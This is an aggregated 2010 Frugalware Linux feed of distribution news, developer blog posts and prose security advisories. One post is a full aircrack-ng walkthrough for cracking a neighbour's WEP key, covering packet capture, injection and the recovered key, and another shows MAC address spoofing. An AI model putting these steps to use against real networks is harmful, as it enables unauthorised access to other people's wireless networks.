Planet Frugalware

Security announcements: FSA642 - drupal6-i18n

Thu, 11 Mar 2010 23:00:00 +0000

See FSA641 for details.Vulnerable version: 6.x_1.2-1, Unaffected version: 6.x_1.3-1locris1, CVEs: No CVE references, see http://drupal.org/node/731632.

Security announcements: FSA641 - drupal-i18n

Thu, 11 Mar 2010 23:00:00 +0000

A vulnerability has been reported in the Internationalization module for Drupal, which can be exploited by malicious users to compromise a vulnerable system. Certain unspecified input is not properly sanitised before being used to translate the text. This can be exploited to execute arbitrary PHP code by passing a malicious string to the input filter.Vulnerable version: 5.x_2.5-1, Unaffected version: 5.x_2.6-1locris1, CVEs: No CVE references, see http://drupal.org/node/731632.

Security announcements: FSA640 - drupal6

Wed, 10 Mar 2010 23:00:00 +0000

See FSA639 for details.Vulnerable version: 6.15-1, Unaffected version: 6.16-1locris1, CVEs: No CVE references, see http://drupal.org/node/731710.

Security announcements: FSA639 - drupal

Wed, 10 Mar 2010 23:00:00 +0000

Some vulnerabilities have been reported in Drupal, which can be exploited by malicious users to conduct script insertion attacks and bypass certain security restrictions. 1) Input passed via the "langcode", "name", and "native" parameters in the languages interface while using the Locale module is not properly sanitised before being displayed to the user. This can be exploited to insert arbitrary HTML and script code, which will be executed in a user's browser session in context of an affected site when the malicious data is being viewed. Successful exploitation requires "administer languages" permissions. 2) An error in the handling of certain sessions can be exploited to maintain an open session despite the user being blocked.Vulnerable version: 5.21-1, Unaffected version: 5.22-2locris1, CVEs: No CVE references, see http://drupal.org/node/731710.

Security announcements: FSA638 - wordpress

Tue, 09 Mar 2010 23:00:00 +0000

A vulnerability has been discovered in WordPress, which can be exploited by malicious users to bypass certain security restrictions. The vulnerability is caused due to WordPress not properly restricting access to trashed posts, which can be exploited to e.g. view a trashed post by accessing it's page directly. Successful exploitation requires a valid user account.Vulnerable version: 2.9.1-1, Unaffected version: 2.9.2-1locris1, CVEs: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0682

Frugalware News: Frugalware Newsletter Issue 59

Tue, 09 Mar 2010 13:06:27 +0000

The newsletter's aim is to keep you up to date with what's happened recently in the world of Frugalware.
Features of this issue include:

Jump for Frugalware
Frugalware's developers are people too - Pingax
FLOSS developers are people too - Marc Kerbiquet
Tips and tricks - Search and replace text in multiple files

You can read it here. We hope you like it!

Security announcements: FSA637 - xar

Mon, 08 Mar 2010 23:00:00 +0000

Braden Thomas from Apple has discovered a signature verification bypass issue in xar. The issue is that xar_open assumes that the checksum is stored at offset 0, but xar_signature_copy_signed_data uses xar property "checksum/offset" to find the offset to the checksum when validating the signature. As a result, a modified xar archive can pass signature validation by putting the checksum for the modified TOC at offset 0, pointing "checksum/offset" at the non-modified checksum at a higher offset, and using the original non-modified signature.Vulnerable version: 1.5.2-1, Unaffected version: 1.5.2-2locris1, CVEs: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0055

Frugalware News: Frugalware 1.2 (Locris) released

Mon, 08 Mar 2010 07:51:34 +0000

The Frugalware Developer Team is pleased to announce the immediate availability of Frugalware 1.2, our twelfth stable release.
No new features have been added since 1.2rc2, but 62 changes have been made to fix minor bugs. If you didn't follow the changes during the pre/rc releases, here are the most important changes since 1.1 in no particular order:

Up to date packages: Linux kernel 2.6.32.8, GNU C library 2.11.1, Xorg 7.5, GNOME 2.28, KDE 4.3.5 to name a few major components.
KMS (Kernel Mode-Setting) is now enabled by default for Intel and Radeon cards.
PAM (Pluggable Authentication Modules) is now part of the base system.
Introduced devtmpfs: you can now exclude /dev from backups, along with /proc and /sys.
Removed several large games from the install images (CD/DVD) which means one less DVD or 4 less CDs.
We finally upgraded our KDE (and related) packages to the 4.x branch. The work started back in April 2009 and now we thought it's a good move to merge that testing repository.
This release comes with Xorg 7.5, see the upstream list of new features.
We've updated our bluez userspace stack to the 4.x branch, which allowed us to improve both GNOME and KDE bluetooth support.

Please refer to the Frugalware Locris ChangeLog for more information.
Download for i686, x86_64 and ppc: See our mirror list. Don't forget to check the integrity of the install images before burning!
NOTE: Click here to read more about what media you need for the installation.
If you are upgrading to Locris from our previous stable release (Getorin), please read the upgrade part of our documentation.

Miklos: Edited skype messages in BitlBee

Sun, 07 Mar 2010 20:33:34 +0000

A user reported on #bitlbee that in case someone edits an already sent message using the Skype GUI client, BitlBee does not report the change. This used to work for about 2,5 years ago, but now I checked and true, it was broken. When I fixed it I realised that it would be nice to prefix the updated message with something to be aware that it’s an edited message, not a new one. The result is pushed out to the git repo and a screenshot is available as well. ;)

Miklos: samba, gentoo

Sat, 06 Mar 2010 14:36:55 +0000

Sorry, I’m continuing the story of uninteresting challenges I had in the last two days. Or if they look like interesting ones, please continue. ;)

Two days ago we (at work) had to repair a samba installation after a 3.0.x -> 3.2.x upgrade. There were 3 problems:

the firewall config had to be updated, to allow incoming tcp connections on port 445
somehow smbd was listening on ipv6 only, just listing all network interfaces in the config was enough to make it listen on ipv4 as well
for another strange reason it no longer accepted hostnames on its whitelist, using ip addresses directly did the trick

The other story from yesterday was fix up the firewall configuration at a small office. The problem was that till now they had a PPPoE connection and the firewall used NAT to share the internet access to the desktop machines, but now they switched to a radio-based access, they got a new modem which did not support PPPoE. Of course in short I just got the usual “the internet does not work!” bugreport. ;)

I must note that I’m not a sysadmin at this office, I just stepped in as the local sysadmin was a SPoF in the system and he (temporally?) disappeared and they asked me beause of “the hours is burning” effect. :)

So all I had to do is to alter the server configuration, which was running Gentoo. I never touched such a machine before, and it’s configuration is (of course, since I’m used to our netconfig) weird, but at least the off-line documentation was enough. So after RTFM, I just had to turn off pppoe, set the dns and the default gateway to the address of the new router and all was fine. One notable interesting fact was that there was no damn vi on the server. Given that emerge takes a lot of time, I had to suck with mcedit. :P

Conclusion: yet another example why offline documentation is important, even in case nowadays “there is internet everywhere". ;)

Miklos: gcalsync #3, vmware, xrandr

Wed, 03 Mar 2010 23:34:53 +0000

First, I wasted a few more hours with my never-ending “sync events form my Nokia S40 phone to Google Calendar” project. The result: it’s not a daemon, it checks if the last sync was more than a day ago, if it can ping google.com, and if both, but it can’t reach the phone via bluetooth, then it raises a kde4 notification, and it also notifies me when (and how) the sync was done, so that I switch bluetooth off on the phone after the sync. As usual, available here.

Second, I managed to fix two annoying bugs when installing Frugalware under VMware: dhcpcd did not update /etc/resolv.conf in the installer properly, now that I changed from dhcpcd to busybox’s udhcpc, it seems to be fine. (And udhcpc still works fine in qemu as well.). The other vmware-related improvement is that the newport xorg driver somehow locked up the whole virtual machine, now it’s moved to extra, so xconfig does not freeze the VM on a default install.

Third, today finally I managed to figure out how to enable the external output on my netbook, using the openchrome driver. It’s just about a single line in xorg.conf:

Option     "ActiveDevice"               "LCD,CRT"

This won’t do more than just cloning the output, but it’s far enough for me, who just uses the external output for presentation only.

(There is a binary driver which locks up the whole machine about 5-8 times a day, which has a bit better external video support, but stability is far more important for me, and the openchrome driver _is_ stable.)

Partly related, when I connected the external output to a projector, I had to set the screen resolution to 1024x768, and later back to 1280x800. 5 years earlier you had to edit xorg.conf and restart X to do this, now you can do this with xrandr:

$ xrandr --output default --mode 1024x768

and then to switch back:

$ xrandr --output default --mode 1280x800

OK, enough entries for today. :)

Miklos: Memory upgrade to 3G

Fri, 26 Feb 2010 00:45:31 +0000

So my netbook had 1G of ram so far and I was happy with it. Then I started to play with virtual machines and it turned out that the bottleneck of it is the small memory I have. So I just bought a 2G ram module, and at this point things started to be weird. Given that the system booted up and almost everything worked properly, I did not really had an idea. I thought it’s a SW problem, so I did a clean Frugalware install on a separate partition as well, and there bash segfaulted in konsole as well sometimes. This ringed a bell, memtest!

After about 15 mins, memtest found numerous errors, then I rode back to the shop where I bought it and I asked for an other module. The interesting points were:

Actually the good ram was cheaper than the bad one they gave me the first time.
When I inserted the 2G module, the original 1G ram wasn’t anymore used as the 0-1G range, but it shown up as 2G-3G.

Now I hope next time I have to increase my ram amount, x86_64 will be mainstream so that I won’t have to suck again with a ‘custom’ architecture. ;)

Frugalware News: Frugalware Newsletter Issue 58

Tue, 23 Feb 2010 12:52:55 +0000

The newsletter's aim is to keep you up to date with what's happened recently in the world of Frugalware.
Features of this issue include:

"Frugalware's Gonna Git Ya"
Frugalware's artists are people too - WebEagle
FLOSS developers are people too - Ali Abdallah
Got a problem? Ask your teddy bear!
Focus On Package(s) - Droid fonts set

You can read it here. We hope you like it!

Frugalware News: Frugalware 1.2rc2 (Locris) released

Mon, 22 Feb 2010 07:41:28 +0000

The Frugalware Developer Team is pleased to announce the immediate availability of Frugalware 1.2rc2, the second candidate of the upcoming 1.2 stable release.

Here are some of the major improvements and changes since 1.2rc1:

Improvements:
- This release comes with Xorg 7.5, see the upstream list of new features.
- We've updated our bluez userspace stack to the 4.x branch, which allowed us to improve both GNOME and KDE bluetooth support.
Package updates:
- Linux kernel 2.6.32.8 + fixes
- OpenOffice.org 3.2.0
- libopensync 0.3x (the old 0.2x branch did not support KDE4)
- git 1.7.0
- More than 500 other package updates
- More than 40 new packages

Please refer to the Frugalware Locris ChangeLog for more information.
Download for i686: See our mirror list. Don't forget to check the integrity of the install images before burning!
NOTE: Click here to read more about what media you need for the installation.

Bouleetbil: Change your MAC address

Sat, 20 Feb 2010 16:13:00 +0000

How to change MAC address
Changing MAC address of a machine is called spoofing a MAC address or faking a MAC address. In linux, you can change MAC address of your machine.This is how it is done.

How to change MAC address in Linux
First find the physical MAC address of your machine by running the following command :
$ sudo ifconfig -a | grep HWaddr
eth0 Link encap:Ethernet HWaddr 00:0D:F0:59:C9:88

Next, login as root in Linux and enter the following commands -

# ifconfig eth0 down
# ifconfig eth0 hw ether 00:80:48:BA:d1:30
# ifconfig eth0 up
# ifconfig eth0 |grep HWaddr

Bouleetbil: aircrack-ng and wep key

Fri, 19 Feb 2010 09:43:00 +0000

For beginning, you can crack a wep key with aircrack-ng but it's ILLEGAL

Install aircrack-ng :
# pacman-g2 -S aircrack-ng

Monitoring wlan0
# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
2458    avahi-daemon
2459    avahi-daemon

Interface    Chipset        Driver

wlan0        Ralink 2561 PCI    rt61pci - [phy0]
                (monitor mode enabled on mon0)

Now you can scan the network :
# airodump-ng mon0

BSSID              PWR RXQ Beacons    #Data, #/s CH MB   ENC CIPHER AUTH

2A:F3:5F:EC:32:88 -76   0    14019    17800    3   1 54   WEP WEP

BSSID              STATION            PWR   Rate    Lost Packets Probes

2A:F3:5F:EC:32:88 00:19:7E:82:8A:EF    0    1 - 1   20412   100866 defaut
2A:F3:5F:EC:32:88 00:C0:A8:C6:ED:60   -1    1 - 0      0      396
2A:F3:5F:EC:32:88 00:C0:A8:C6:ED:60   -1    1 - 0      0      396
2A:F3:5F:EC:32:88 00:C0:A8:D5:B5:18 -77    1 - 1      0      214
2A:F3:5F:EC:32:88 00:24:D2:3A:C6:D7 -77    1 - 1      0      688
2A:F3:5F:EC:32:88 00:22:43:2D:DE:68 -79    1 - 1      0     2788 defaut

Hey Hey 2 computeurs are connected to "defaut". "defaut" use the canal 1 and wep encryption.

Capture the frame of canal 1:
# airodump-ng --encrypt WEP -c 1 -w dump -i mon0

You can inject some frames for crack it quickly, open a new terminal and start the injection :
# aireplay-ng -3 -e defaut -a 2A:F3:5F:EC:32:88 -h 00:19:7E:82:8A:EF mon0

That will create a file dump-01.ivs. Wait that this file do 500ko

Crack the key:
# aircrack-ng -b 2A:F3:5F:EC:32:88 dump-01.ivs

KEY FOUND! [ 31:76:BF:E5:B1 ]
Decrypted correctly: 100%

\o/ you can use the wifi "defaut"

For the wpa http://code.google.com/p/pyrit/ I will test it and perhaps package it

Devil505: Bisigi-project themes now on Frugalware

Thu, 18 Feb 2010 12:05:03 +0000

Before the freeze of Frugalware current for 1.2RC2, I pushed my last new packages. These package are Gnome themes from the bisigi-project.

These themes are mainly designed for Ubuntu, but for some of them, I replaced the Ubuntu logo icon by the Frugalware one, I know it’s tricky :-p

Here the list of the packages:

gnome-theme-airlines
gnome-theme-aquadreams
gnome-theme-bamboo-zen
gnome-theme-ellannar
gnome-theme-exotic
gnome-theme-infinity
gnome-theme-orange
gnome-theme-showtime
gnome-theme-step-into-freedom
gnome-theme-tropical
gnome-theme-ubuntu-sunrise
gnome-theme-wild-shine

I hope Frugalware Gnome users will enjoy these themes

Devil505: An Elementary look for Frugalware

Tue, 16 Feb 2010 14:00:43 +0000

The elementary project is a set of GTK/Metacity theme and icons theme, mostly designed fot Gnome. I packaged it for Frugalware current the last weekend.

To install all stuff needed, just type

# pacman-g2 -S gtk+2-theme-elementary

This will install elementary-icon-theme and xcursor-theme-vanilla-dmz.

Then in gnome-appearance-properties, select Elementary theme, check if you have selected elementary-monochrome icons theme:

About the mouse cursor theme, I suggest you DMZ (white):

About the fonts, I keeped ttf Droid.

Finally you’ll get something like that:

Elementary no ?

Devil505: Frugalware and The Big Bang Theory

Mon, 15 Feb 2010 16:15:50 +0000

Don’t worry I’ll not talk about the scientific theory but the TV sitcom named « The Big Bang Theory ».

Remember I packaged fortune cookies of TV series « How I Met Your Mother », this time I do the same for « The Big Bang Theory ». If you don’t know this sitcom, quickly, here is the story:

Set in Pasadena, California, the show is about two male Caltech prodigies in their 20s, one an experimental physicist (Leonard Hofstadter) and the other a theoretical physicist (Sheldon Cooper), who live across the hall from an attractive blonde waitress with show-biz aspirations (Penny). Leonard and Sheldon’s ‘geekiness’ and sheer intellect are contrasted with Penny’s social skills and common sense for comic effect. Two equally geeky friends of theirs, Howard and Rajesh, are also main characters.

To install this fortune mod from Frugalware current:

# pacman-g2 -S fortune-mod-tbbt

Some examples:

$ fortune tbbt
Leonard: What got into him?
Penny: Oh, a couple of virgin Cuba Libres who turned out to be a little slutty.
Leonard: You didn't.
Penny: You do your little experiments, I do mine.

$ fortune tbbt
Sheldon: My new computer came with Windows 7. Windows 7 is much more user-friendly than Windows Vista......I don't like that.

So geek

Miklos: Sparse checkout example in git 1.7.0

Sun, 14 Feb 2010 00:00:23 +0000

Sparse checkout is now part of git-1.7.0. See here on what it is in general. Basically something what svn already knew for years and git did not. And of course git now does it better, since this way it’s possible to checkout multiple sub-directories, not just a single one, what svn allows.

Here is a short example:

$ git clone ~/git/git
$ cd git
$ ls|wc -l
361
$ git config core.sparsecheckout true
$ echo ppc/ > .git/info/sparse-checkout
$ echo perl/ >> .git/info/sparse-checkout
$ git read-tree -m -u HEAD
$ ls
perl/  ppc/

Enjoy! :)

Miklos: pptp client howto on linux on console

Tue, 09 Feb 2010 16:39:00 +0000

So I saw a few howtos on how to set up ms pptp client on linux, but they’re mostly about how to click on networkmanager or other guis, so basically they hide the real detail, IOW what config files are actually used.

First install the necessary packages:

# pacman-g2 -S ppp pptp

Here is what I have under /etc/ppp:

# cat chap-secrets # Secrets for authentication using CHAP # client server secret IP addresses $user PPTP $secret *

# cat options lock

# cat options.pptp lock noauth nobsdcomp nodeflate

# cat peers/$network pty "/usr/sbin/pptp $server --nolaunchpppd" name "$user" file /etc/ppp/options.pptp remotename PPTP require-mppe-128 refuse-eap ipparam $network

And to bring up ppp0:

# pon $network debug dump logfd 2 nodetach

If it works fine, you can just use:

# pon $network

(Obviously replace $user, $secret, $server and $network with real values.)

One thing I did not figure out is how to configure it to set the default gateway as well. Right now I use the debug mode, then in the output I see the remote address, finally:

# route add default gw $remoteaddr

Other than that, it works fine - without any damn gui! :)

Frugalware News: Frugalware 1.2rc1 (Locris) released

Mon, 08 Feb 2010 07:38:17 +0000

The Frugalware Developer Team is pleased to announce the immediate availability of Frugalware 1.2rc1, the first candidate of the upcoming 1.2 stable release.
A short and incomplete list of changes since 1.2pre2:

Improvements:
- We finally upgraded our KDE (and related) packages to the 4.x branch. The work started back in April 2009 and now we thought it's a good move to merge that testing repository.
- Updated artwork.
Package updates:
- KDE 4.3.5
- GNU C Library 2.11.1
- Mozilla Firefox 3.6
- Thunderbird 3.0.1
- More than 400 other package updates
- More than 100 new packages

Bouleetbil: New box x86_64

Fri, 05 Feb 2010 10:26:00 +0000

New box x86_64 :

A friend send me a new box. It's an athlon 64 \o/

Now I've all architectures supported by Frugalware

My computers :

.dell inspiron 510m : Frugalware current and Freebsd8. I use gnome with this laptop.

.Power PC G4 : Frugalware current with lxde/gnome. It's the buildserver calder. I've delete Fedora for only keep frugalware.

.An old sony Sony VAIO with debian/hurd for tested and played with hurd. Don't smile that works :)

.An AMD Athlon(tm) 64 Processor 3000+ : frugalware current 64 bit and kde4.

.A server (dedibox) with Frugalware. I use it for hosted some websites/mirrors as the frugalware wiki and my irc client.

.netbook ecafe e900 with frugalware current and lxde. I use it for manage my others boxs with ssh and/or freenx.

With this new 64 box I've a nvidia card. Now I can test this "nouveau" driver.

I will don't install the closed nvidia driver ;)

Frugalware News: Frugalware Newsletter Issue 57

Thu, 04 Feb 2010 12:54:40 +0000

The newsletter's aim is to keep you up to date with what's happened recently in the world of Frugalware.
Features of this issue include:

Farewell to Jercel
Crazy's back
I am missing "you"...
Getting To Know You - Patches
FLOSS developers are people too - Jeff Bailes

You can read it here. We hope you like it!

Devil505: Chromium officially on Frugalware !

Fri, 29 Jan 2010 19:58:16 +0000

My non-official package of Chromium is over now, finally I succeed to make a package built from sources, actually a snaphot from the svn repo of Chromium.

It’s the version 4.0.249.78 which is packaged and now available in current repo of Frugalware. With Crazy’s help, Chromium is also available for arch x86_64.

Installation:

# pacman-g2 -S chromium

Devil505: KDE4 finally on Frugalware !

Thu, 28 Jan 2010 09:45:26 +0000

KDE4 arrived in current repo of Frugalware few days ago with the version 4.3.4 (by the way, now updated to 4.3.5). Some users were asking for KDE4 for a while, now it’ the past. Now with Frugalware you are able to get a KDE4 desktop and some applications like Amarok 2, Choqok or Dragon Player.

My contribution was minor for KDE4 integration on Frugalware. Thanks to Dex77, Hermier, Exceed, Crazy (yes, he’s back !) and Vmiklos who have made the major part. Thanks also to the testers like Blacksad, Centuri0 or Fafab.

Miklos: darcs import on repo.or.cz

Sun, 24 Jan 2010 23:56:00 +0000

I’ve contributed a patch to repo.or.cz to allow darcs imports, but and I recently got a reply for it from the maintainer. So we worked together a bit more and now the patches are in, repo.or.cz just imported the source of darcsweb.

I also created a test project and tested that incremental imports work properly as well. \o/

NB: It uses my darcs-fast-export tool, that’s why I started to work on this. ;)

Frugalware News: Frugalware Newsletter Issue 56

Fri, 22 Jan 2010 12:15:17 +0000

The newsletter's aim is to keep you up to date with what's happened recently in the world of Frugalware.

This is a special newsletter issue, devoted to a review of Frugalware's achievements and events in 2009.

You can read it here. We hope you like it!

Miklos: Lenovo Ideapad S12

Sun, 17 Jan 2010 19:09:44 +0000

I bought this netbook about a week ago (the one with the Via card).

Actually it costed 106 kHUF (~$550) instead of the advertised $400, but that probably due shipment costs, etc.

Here are what requirements I had:

I wanted a simple video card, it’s much more important for me that I don’t have to use external kernel modules than the actualy 3D performance. So NVidia is clearly an overkill for me. I wanted Intel or similar.
12″-sized LCD - my iBook had it and I loved it. I agree that it’s too small when we’re watching films with 5 other friends or playing games, but I don’t do either regularly.
Touchpad. I don’t like trackpoint.

Here is what I got:

The Via card is so far OK, the openchrome driver has a nice community and at least 2D acceleration works fine, and they are working on the 3D one as well. (Other card types have 3D support, too - This type is just too new ATM.)
The LCD size is what I want - looks like you can’t easily buy a 12″ notebook, but a 12″ netbook counts as a high-end one.
Of course it has touchpad.

Let’s see what extra does it have:

VGA output (iBook had some custom output and I never got a VGA converter cable.)
Bluetooth
SD-Card reader
Webcam
KVM support
HW mpeg2/4 and dm-crypt support

What’s wrong with it:

The cover is shiny, the mark of the fingers are left there when you grab it.
No optical driver, but hey, it’s a netbook!

Let’s see Linux support: First, the machine is shipped with Windows XP. The bios updater is windows-only, so I updated the bios before I rm -rfed the whole preinstalled contents.

What works:

Via Nano CPU: works fine.
Via card: after installing the opencrome driver a simple ‘xconfig’ from frugalwareutils did its job, no other tricks were necessary.
SATA controller works fine.
Wired ethernet works fine.
Wireless: the in-tree b43 works for WPA APs but not with unsecure ones. The binary bcmwl driver works in the later case as well.
SD-Card reader works out of the box.
Sound is fine.
The webcam works with mplayer using the “mplayer -tv driver=v4l2:device=/dev/video0 tv://” command.
Bluetooth is fine.
KVM support (vmx flag) is there in the CPU.
dm-crypt has HW support, so copying to a truecrypt volue isn’t slower (~40mb/s) than copying to an unencrypted one.

What does not work with Linux:

There is no ideapad-acpi module to turn on or off wifi/bluetooth in the Embedded Controller (EC) of the ideapad. In my case I enabled wifi only when I updated the settings of the EC back in Windows, so Bluetooth is disabled. Feel free to post in commends if you have ideas how to set the EC from Linux. ;)
The 3d and mpeg2/4 decoding HW support of the graphics card doesn’t work.
Hibernation is broken due to the weakness of the openchrome driver.

I think that’s all. As always, it’s possible that these limitations can be avoided in the future, who knows. ;)

Ah and the battery works for 5 hours with wifi enabled, I think that’s nice. (And probably it’s due to the LED-powered LCD.)

In case of questions, please post them in the comments and I’ll try to reply.

PS: It doesn’t really belong here, but if I was at it, I also switched (compared to iBook):

to x86_64 from ppc
to ext4 from ext3
to kde4 from kde3

Update: I did a backup about the config files, reinstalled Windows XP, enabled the bluetooth in EC, and installed i686 for now. So the changes are:

Bluetooth is now working perfectly
2D acceleration is stable (ie. if you start mplayer -vo xv the second time, it won’t freeze)
Suspend to disk works fine, as it was expected.

\o/

Bouleetbil: Mono News

Thu, 31 Dec 2009 10:16:00 +0000

I've add moonlight-desktop and moonlight-mozilla the firefox plugin of silvergith for firefox.
http://frugalware.org/packages/73596
http://frugalware.org/packages/73597

Mono devels have release an openSUSE 11.2 Virtual PC image which includes Mono 2.6.1.
This image include monodevelopp, debugger and a lot of sources of some projects as the mono forum, task...
You can find some exemples in winforms,gtk#, asp#...

This image is good idea for who want test mono with GNU/Linux.

An other good news is that monodevelopp can be install in Windows http://monodevelop.com/Download
Don't forget to install mono-2.6.1-gtksharp before and uninstall old version of mono.
For more information http://monodevelop.com/index.php?title=Download/What%27s_new_in_MonoDevelop_2.2

Monotouch begin to works well :
What is MonoTouch?
MonoTouch allows developers to create C# and .NET based applications that run on Apple's iPhone and Apple's iPod Touch devices, while taking advantage of the iPhone APIs and reusing both code and libraries that have been built for .NET, as well as existing skills.

For me .net for all plateform is good.
After you don't like .net or you like it, it's an other problem, but as mono is free for me no reason to don't use it. At Work I use .net and can use mono with GNU/Linux for me it's well.

For finish the works of mono devels is "bigger" and "good" and with the licence MIT should be used in entreprise and I Use asp# with module xsp, moonlight-mozilla, monodevelop... with Frugalware without problems.